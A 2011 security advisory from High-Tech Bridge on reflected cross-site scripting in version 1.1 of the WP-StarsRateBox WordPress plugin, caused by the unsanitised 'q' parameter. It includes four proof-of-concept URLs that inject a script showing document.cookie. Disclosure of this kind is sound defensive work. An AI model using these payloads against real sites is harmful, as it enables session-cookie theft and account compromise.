HTB22935: Multiple XSS in WP-StarsRateBox wordpress plugin

Vulnerability ID: HTB22935
Reference: http://www.htbridge.ch/advisory/multiple_xss_in_wp_starsratebox_wordpress_plugin.html
Product: WP-StarsRateBox wordpress plugin
Vendor: www.starsrate.com ( www.starsrate.com )
Vulnerable Version: 1.1
Vendor Notification: 05 April 2011
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )

Vulnerability Details:
The vulnerability exists due to failure in the "/wp-content/plugins/wp-starsratebox/wp-starsratebox.php" script to properly sanitize user-supplied input in "q" variable.
User can execute arbitrary JavaScript code within the vulnerable application.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

The following PoC is available:

[code]
http://[host]/wp-content/plugins/wp-starsratebox/wp-starsratebox.php?p=1&j=1&q=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/plugins/wp-starsratebox/wp-starsratebox.php?check=1&q=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/plugins/wp-starsratebox/wp-starsratebox.php?opinion_check=1&q=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/plugins/wp-starsratebox/wp-starsratebox.php?opinion=1&q=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
[/code]